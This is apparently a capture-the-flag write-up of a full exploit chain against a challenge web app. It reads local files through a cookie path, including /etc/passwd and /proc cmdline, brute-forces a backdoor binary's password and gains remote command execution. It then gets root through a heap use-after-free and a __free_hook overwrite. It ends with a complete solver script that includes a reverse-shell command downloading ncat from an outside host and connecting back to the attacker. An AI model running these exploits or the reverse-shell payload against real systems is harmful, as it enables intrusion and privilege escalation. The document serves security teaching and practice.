master

Initial Access via LFI, Privilege Escalation via Heap Exploitation.

9 min read


Table of Contents

[ + ] Introduction
[ + ] Initial Access
[ + ] Privilege Escalation
[ + ] Solution

[ + ]Introduction

This challenge emulated a full chain exploit chain. From initial access via code execution to privilege escalation via heap exploitation.

To start the challenge we are provided with a single URL.

[ + ]Initial Access

After an initial look around, I noticed that the cassette that was playing was being set in our cookies, and read from our cookies.

Image

This meant that we may have LFI if not enough sanitization was done around the provided path.

I confirmed there was LFI by attempting to read /etc/passwd:

Image Image

After decoding the base64, we see the following:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
_apt:x:104:65534::/nonexistent:/bin/false
th3plagu3:x:1000:1000::/home/th3plagu3:/bin/sh
zer0c00l:x:1001:1001::/home/zer0c00l:/bin/sh

So we were able to confirm LFI, and noticed something weird as well. There are two users listed at the bottom th3plagu3 and zer0c00l.

After some playing around, I decided to enumerate the processes and commandlines running on the host to get some indication as to where the source code might be and try to gather clues.

for i in $(seq 1 5000); do echo $i >> pid.txt; done

ffuf -c -w pid.txt:FUZZ -b \
"cassette_path=/proc/FUZZ/cmdline" \
-u http://HOST  -fw 37

In doing so, I found the following:

Image

I was able to get all of the information I needed from PID 1. Here is the command line:

/bin/sh -c dropflag "${PWD}/flag.txt" \
&& chown th3plagu3:th3plagu3 /opt/chal/flag.txt \
&& chmod 440 /opt/chal/flag.txt \
&& env --unset='FLAG' su -c "gunicorn -w 4 -t 120 -b '0.0.0.0:8000' \
web:app" zer0c00l

So we could see that the target was /opt/chal/flag.txt and that there was also a web.py in /opt/chal. Using the LFI we were not able to read the flag, but we were able to read the file at /opt/chal/web.py:

from flask import Flask, render_template, request, session, redirect, url_for
from base64 import b64encode
from subprocess import check_output


app = Flask(__name__)


@app.route('/')
def index():
    cassette_path = request.cookies.get('cassette_path', None)
    if cassette_path:
        with open(cassette_path, 'rb') as f:
            cassette_data = b64encode(f.read())
    else:
        cassette_data = ''
    return render_template('index.html', cassette_data=cassette_data)


@app.route('/cassette', methods=['POST'])
def cassette():
    cassette_path = 'cassettes/{}'.format(request.form['cassette_path'])
    r = redirect(url_for('index'))
    r.set_cookie('cassette_path', cassette_path)
    return r


@app.route('/super_s3cret_b4ckd00r___', methods=['POST'])
def super_s3cret_b4ckd00r___():
    out = check_output(['./backdoor', request.form['password']]).strip()
    if out == 'accepted password':
        return check_output(request.form['cmd'], shell=True)
    return redirect(url_for('index'))


if __name__ == '__main__':
    app.run('0.0.0.0', port=5000, debug=True)

Now we have identified a new endpoint (/super_s3cret_b4ckd00r___) that would allow for RCE, but there is a check happening with some ./backdoor binary to see if the password we are providing is the one the binary expects.

We can pull the binary at /opt/chal/backdoor using our LFI to take a look at what the password may be.

The main sections of the binary are happening in main and check_password:

Image Image

We can see that the binary is passing the first argument provided (our password) and checking it in the subroutine.

In the subroutine, we take each character of the argument, and get the value at that index and replace it in our argument.

Then we use the value of the first character to seed a random number generator, loop through each character in the new argument, and if the "random" number generated is 1, we swap it with the last character in our argument.

Finally we check that the new argument is equal to correct_buf

Seems pretty challenging until you realized there is only a finite amount of possibilities to seed with.

To solve this we can extract tbl, correct_buf, then find the indexes of tbl that would satisfy correct_buf without being swapped, then brute force it by trying to swap the characters ourselves, then running the binary.

Here is the solution for that:

def solve_binary():
    log.info('Attempting to solve the binary...')
    libc = CDLL(find_library("c"))
    tbl = (
        "7d c4 49 75 8e 78 68 c6 55 63 71 97 60 c3 f9 91 44 53 34 a4 4e 05 35 9b e3 f2 c5 e7 09 b5 cf a9 4f "
        "9c 10 00 08 64 c9 d4 b2 e6 a8 be df 7c d8 28 ad d7 62 0a 40 dc 3c 41 ca 2e 20 3a 43 84 cb 06 c0 b9 "
        "07 c2 2d bc 0e 52 70 73 66 bf ba 1c 77 6e 4a 99 2a 36 ef 90 5d 0b d3 13 47 a3 e1 e0 4b 04 15 6d f5 "
        "fd 0d 26 98 76 0c 30 b7 24 c1 03 5c 9a 89 f4 21 81 6f 5a 57 50 5b 23 e9 18 cc 4d de f8 6b 2c 6a a5 "
        "8f 2b 42 fe bb 93 9f d2 e5 fb b1 d5 65 dd 83 f7 3b cd 1a 6c 7b b0 aa b3 29 d9 51 1f 3e 67 96 8c e8 "
        "d1 ec ce f6 87 1d 8d 22 45 ff a1 74 85 bd 33 ee b8 11 48 88 16 f1 38 54 95 ed 80 f0 37 19 39 46 e2 "
        "a0 db 94 25 32 02 af a7 c8 e4 86 17 b4 3f 4c 27 3d 12 a2 61 ab b6 69 82 9e 58 14 56 2f 5f f3 59 9d "
        "c7 8a 8b d0 7a a6 eb da ea 1e 7f 79 7e 5e fc 0f fa 92 ac 31 72 d6 ae 1b 01"
    )
    tbl = tbl.split(' ')

    correct_buf = (
        "6f 0a 03 81 04 81 50 d7 0c 6f 04 6f 0a 04 0c 0a f5 6f 04 0d d7 81 0a 04 d7 24 0a 04 c1 6f 0c 0a 04 "
        "21 0a 81"
    )
    correct_buf = correct_buf.split(' ')

    initial_solution = []
    for x in correct_buf:
        initial_solution.append(chr(tbl.index(x)))

    solutions = []
    # find all possible values for srand
    for i in range(256):
        tmp_str = initial_solution.copy()
        libc.srand(i)
        random_values = []

        # generate the random values
        for _ in range(36):
            random_values.append(libc.rand() & 1)

        # do the swap thing
        for x in range(36):
            index = 36 - 1 - x
            if random_values[index] == 0:
                tmp_str[index], tmp_str[-1] = tmp_str[-1], tmp_str[index]

        s = ''.join(tmp_str)
        # check if valid
        if subprocess.call(['./backdoor', s], stdout=subprocess.DEVNULL, stderr=subprocess.STDOUT) == 0:
            solutions.append(s)
            log.info('Found solution - ' + s)
    return solutions

Running this we get two solutions:

m3ss_w1th_th3_b3st_d13_l1k3_th3_r3st
t3mshsw1tt__3h_3btd1_s31k3l_th33_rs_

[ + ]Privilege Escalation

So now we can get code exec, but we quickly notice that the process was run as zer0c00l, but the file has read access only for th3plagu3:

Image

I noticed the suid binary gibson but decided to spend some time looking for kernel exploits but only got dead-ends.

Decided to focus on getting privilege escalation using gibson. I ran it a few times to get an idea of what was happening, then I pulled the binary and started taking a look.

Image

Taking a look at the decompiled code it was fairly complex and the binary was fairly large.

For some reference, here are code snippets with some explanations:

 main

As shown below, the main subroutine takes some input and compares it to the functions available, and call their respective subroutines.

What is important for identifying the vulnerability is the touch, ln and rm functions.

Image
 touch

The touch subroutine prompts the user for three inputs - the file name, data size, and content. Once the input is provided, a chunk is malloced with the size of the file provided, then make_file is called with three parameters - the file name, the content chunk pointer, and the size of the content.

What is important here is the make_file call, and the first malloc.

Image
 make_file

Here we can see the various chunks associated with a file.

  • v5 is a chunk of size 0x20
    • Index 0 and 1 are set to 0
    • The pointer to the name is stored at index 2
    • The pointer to v6 is stored at index 3
  • v6 is a chunk of size 0x18
    • The pointer to the content chunk is stored at index 0
    • The size of the content chunk is stored at index 1

Just by looking at this subroutine we start to get a sense of the underlying data structures.

Image
 rm

Similarly to the touch subroutine, there is noting too exciting here, but most importantly, is the call to rm_fsentry with a pointer to the child.

Image
 rm_fsentry

We can quickly see here that there is some recursion happening. This makes sense since the rm subroutine can also be used for directories. Though, this is a clear indication that the value at a1[2] is a flag to determine if the chunk is a directory or file.

If we recall what we found in make_file we can see that a1[3] being freed means that the content metadata chunk is being freed, and a1[3][0] being freed shows that the content chunk is also freed. Finally the a1 chunk is freed.

Again, this starts to provide us an idea of the underlying datastructures being stored on the heap.

Image
 ln

As shown below, the ln subroutine will create a symbolic link to a file. In the process, some data from the file is stored in the link.

Very simply, here is a look at what is happening here:

  • v4 chunk allocated of size 0x20
    • v4[0] equals child[0]
    • v4[1] equals child[1]
    • v4[2] equals address of the name
    • v4[3] equals child[3]
Image

Without going line by line to explain exactly how I developed this, I was able to map out a general structure for how items were being stored on the heap:

Image

It looks fairly complex but it really is not. You can see that there are 3 main data structures being stored on the heap.

  1. Directory
  2. File
  3. Link

The directory and file are very similar. What differentiates them is a directory flag and that the content will store addresses to children objects.

There is nothing too crazy here, but the bread and butter of the vulnerability comes down to how file deletions are handled.

Nowhere in the code does the program go back to check for link files referencing files during deletion. That means that there is neither a flag set in link file structures denoting that the file it is referencing is removed, or that the link is removed all-together during file deletion.

This gives way to a use-after-free vulnerability.

Effectively, there are 3 phases for exploiting this UAF vulnerability.

  1. Leak libc
  2. Overwrite __free_hook with system and ensure /bin/sh is passed as a parameter.
  3. Trigger __free_hook

In order to leak libc, I was able to do the following:

##### To setup leak libc ##### 
# Fastbins - size == 0x20
node_a = add()
# Added for heap grooming - size == 0x20
node_b = add()
# Unsorted bins
node_c = add(size=0x100)

# Create link between node_c and uaf_node
uaf_node = id_generator()
link(node_c, uaf_node)

# Remove chunks
remove(node_a)
remove(node_c)

# To leak libc
show(uaf_node)

How does this work?

When we first allocate two chunks of small size (0x20) then a large one (0x100). The large chunk, when freed, will end up in unsorted bins which will put main_arena+88 in its place.

After all three nodes have been allocated, we create a link to the large node. Then we free the first node, and the third node.

We need to free the first node such that an address is maintained in metadata of the large node.

Image

You can see in the image above that when we remove a node, three chunks are free'd, content, metadata, and lookup table (1). You can see that the large chunk was free's to the unsorted bins which cause the main_arena+88 address to be put in the chunk. However, we see that the address for the content changed, and no longer points to the chunk with the libc leak. Instead it points to the address of the previous chunk in the linked lists address - 0x10. We can still leak libc using this information though. This is because the link object points to the lookup table.

In the screenshot bellow we look for addresses pointing to 0x2228710 on the heap:

Image

So now when we show the link object, we are able to leak libc:

Image

Now we can look for ways to exploit this to get a shell. This part is pretty straight forward, we just need to use the same vulnerability to modify an allocated node's content metadata such that the address for the content is __free_hook rather than an address on the heap, then edit the node and place the address of system there.

Finally we can trigger __free_hook by allocating a new node with the content /bin/sh.

Although multiple chunks are freed in the process of removing a node (which would trigger __free_hook each time), I found it easiest to use the content of a node.

The final phase looks as follows:

libc_base, free_hook, system = calculate_offsets()

# Heap grooming - will allow for node_b to be in range of node_c when reading
add()

# Start UAF vuln
node_a = add(size=0x60)
node_b = add(size=0x60)
node_c = add(size=0x300)
uaf_node = id_generator()
link(node_c, uaf_node)
remove(node_a)
remove(node_c)

# Read UAF node
show(uaf_node)
content = p.read(0x300)

# Edit such that content of node_b points to __free_hook
new_data = content[:0x80] + p64(free_hook)
edit(uaf_node, new_data)

# Modify node_b such that __free_hook points to system
edit(node_b, p64(system))

Here is a screenshot of the address we are targeting in this exploit with content[:0x80] + p64(free_hook) (which is the content address of node_b):

Image

Once we edit node_b, rather than editing the content we will be editing the data at the address of __free_hook.

[ + ]Solution

Here is the solution proof:

Image
 Solver
import os

import requests
import string
import random

from ctypes import CDLL
from ctypes.util import find_library
from pwn import *
from requests import ReadTimeout

# context.log_level = 'debug'

NETID = ''
LHOST = ''
LPORT = 0
RHOST = ''
RPORT = 0
VICTIM = f'http://{RHOST}:{RPORT}'


NC_URL = 'https://gitlab.com/pentest-tools/static-binaries/-/raw/master/binaries/linux/x86_64/ncat'
REVERSE_SHELL = f'cd /tmp && wget {NC_URL} -O ncat && chmod +x ncat; ./ncat -c /opt/chal/gibson {LHOST} {LPORT}'


def initial_access():
    def download_binary():
        log.info('Attempting to download the binary...')
        response = requests.get(VICTIM, cookies={'CHALBROKER_USER_ID': NETID, 'cassette_path': '/opt/chal/backdoor'})
        decoded = base64.b64decode(response.text.split('video/webm;base64,')[-1].split('\">')[0])
        with open('backdoor', 'wb') as f:
            f.write(decoded)
            os.system('chmod +x backdoor')
        log.info('Finished downloading.')

    def solve_binary():
        log.info('Attempting to solve the binary...')
        libc = CDLL(find_library("c"))
        tbl = (
            "7d c4 49 75 8e 78 68 c6 55 63 71 97 60 c3 f9 91 44 53 34 a4 4e 05 35 9b e3 f2 c5 e7 09 b5 cf a9 4f "
            "9c 10 00 08 64 c9 d4 b2 e6 a8 be df 7c d8 28 ad d7 62 0a 40 dc 3c 41 ca 2e 20 3a 43 84 cb 06 c0 b9 "
            "07 c2 2d bc 0e 52 70 73 66 bf ba 1c 77 6e 4a 99 2a 36 ef 90 5d 0b d3 13 47 a3 e1 e0 4b 04 15 6d f5 "
            "fd 0d 26 98 76 0c 30 b7 24 c1 03 5c 9a 89 f4 21 81 6f 5a 57 50 5b 23 e9 18 cc 4d de f8 6b 2c 6a a5 "
            "8f 2b 42 fe bb 93 9f d2 e5 fb b1 d5 65 dd 83 f7 3b cd 1a 6c 7b b0 aa b3 29 d9 51 1f 3e 67 96 8c e8 "
            "d1 ec ce f6 87 1d 8d 22 45 ff a1 74 85 bd 33 ee b8 11 48 88 16 f1 38 54 95 ed 80 f0 37 19 39 46 e2 "
            "a0 db 94 25 32 02 af a7 c8 e4 86 17 b4 3f 4c 27 3d 12 a2 61 ab b6 69 82 9e 58 14 56 2f 5f f3 59 9d "
            "c7 8a 8b d0 7a a6 eb da ea 1e 7f 79 7e 5e fc 0f fa 92 ac 31 72 d6 ae 1b 01"
        )
        tbl = tbl.split(' ')

        correct_buf = (
            "6f 0a 03 81 04 81 50 d7 0c 6f 04 6f 0a 04 0c 0a f5 6f 04 0d d7 81 0a 04 d7 24 0a 04 c1 6f 0c 0a 04 "
            "21 0a 81"
        )
        correct_buf = correct_buf.split(' ')

        initial_solution = []
        for x in correct_buf:
            initial_solution.append(chr(tbl.index(x)))

        solutions = []
        # find all possible values for srand
        for i in range(256):
            tmp_str = initial_solution.copy()
            libc.srand(i)
            random_values = []

            # generate the random values
            for _ in range(36):
                random_values.append(libc.rand() & 1)

            # do the swap thing
            for x in range(36):
                index = 36 - 1 - x
                if random_values[index] == 0:
                    tmp_str[index], tmp_str[-1] = tmp_str[-1], tmp_str[index]

            s = ''.join(tmp_str)
            # check if valid
            if subprocess.call(['./backdoor', s], stdout=subprocess.DEVNULL, stderr=subprocess.STDOUT) == 0:
                solutions.append(s)
                log.info('Found solution - ' + s)
        return solutions

    def get_shell(password: str):
        data = {
            'password': password,
            'cmd': REVERSE_SHELL
        }
        try:
            requests.post(
                f'{VICTIM}/super_s3cret_b4ckd00r___',
                cookies={'CHALBROKER_USER_ID': NETID},
                data=data,
                timeout=3
            )
        except ReadTimeout:
            pass
        log.info('Payload sent: \n\t\t' + REVERSE_SHELL)
        log.info('Connection should come in soon.')

    download_binary()
    binary_solutions = solve_binary()
    get_shell(password=binary_solutions[0])


def privilege_escalation():
    question = b"?\n"
    prompt = b":\n"

    def id_generator(size=6, chars=string.ascii_uppercase + string.digits):
        return ''.join(random.choice(chars) for _ in range(size))

    def run_command(command: str):
        p.sendlineafter(b"> ", command.encode('utf-8'))

    def add(node: str = None, size: int = 0x20, content: bytes = b"CONTENT"):
        if not node:
            node = id_generator()
        log.info("Added - " + node)
        run_command("touch")
        p.sendlineafter(question, node.encode('utf-8'))
        p.sendlineafter(question, str(size).encode('utf-8'))
        p.sendlineafter(prompt, content)
        return node

    def remove(node: str):
        log.info("Removed - " + node)
        run_command("rm")
        p.sendlineafter(question, node.encode('utf-8'))
        return node

    def edit(node: str, content: bytes):
        run_command("edit")
        log.info("Edited - " + node)
        p.sendlineafter(question, node.encode('utf-8'))
        p.sendlineafter(prompt, content)
        return node

    def link(node_a: str, node_b: str):
        run_command("ln")
        log.info("Linked - a) " + node_a + " & b) " + node_b)
        p.sendlineafter(question, node_a.encode('utf-8'))
        p.sendlineafter(question, node_b.encode('utf-8'))
        return node_a, node_b

    def show(node: str):
        run_command("cat")
        p.sendlineafter(question, node.encode('utf-8'))

    def calculate_offsets():
        chunk_data = p.read(0x100)
        address = u64(chunk_data[-8:-2].ljust(8, b'\0'))
        libc_base = address - 0x3c4af0 - 0x88
        free_hook = libc_base + 0x3c67a8
        system = libc_base + 0x45390
        log.info("Leaked address - " + hex(address))
        log.info("libc base address - " + hex(libc_base))
        log.info("free_hook address - " + hex(free_hook))
        return libc_base, free_hook, system

    def stage_1():
        """
        Stage 1 of exploit is used to leak libc base address
        """
        # To setup leak libc
        node_a = add()
        node_b = add()
        node_c = add(size=0x100)

        uaf_node = id_generator()
        link(node_c, uaf_node)

        remove(node_a)
        remove(node_c)

        # To leak libc
        show(uaf_node)

    def stage_2():
        """
        Stage 2 of exploit is to setup `__free_hook` to point to `system` such that when `free` is
        called, `system` is triggered.
        """
        libc_base, free_hook, system = calculate_offsets()

        # Heap grooming - will allow for node_b to be in range of node_c when reading
        add()

        # Start UAF vuln
        node_a = add(size=0x60)
        node_b = add(size=0x60)
        node_c = add(size=0x300)
        uaf_node = id_generator()
        link(node_c, uaf_node)
        remove(node_a)
        remove(node_c)

        # Read UAF node
        show(uaf_node)
        content = p.read(0x300)

        # Edit such that content of node_b points to __free_hook
        new_data = content[:0x80] + p64(free_hook)
        edit(uaf_node, new_data)

        # Modify node_b such that __free_hook points to system
        edit(node_b, p64(system))

    def stage_3():
        """
        Stage 3 of exploit used to trigger `system` with `/bin/sh`
        """
        # Trigger system(command=/bin/sh)
        tmp = add(content=b'/bin/sh')
        remove(tmp)
        log.info('K here\'s your elevated shell...')

    def pwn():
        stage_1()
        stage_2()
        stage_3()
        p.interactive()

    p.wait_for_connection()
    pwn()


if __name__ == "__main__":
    p = listen(4444)
    initial_access()
    privilege_escalation()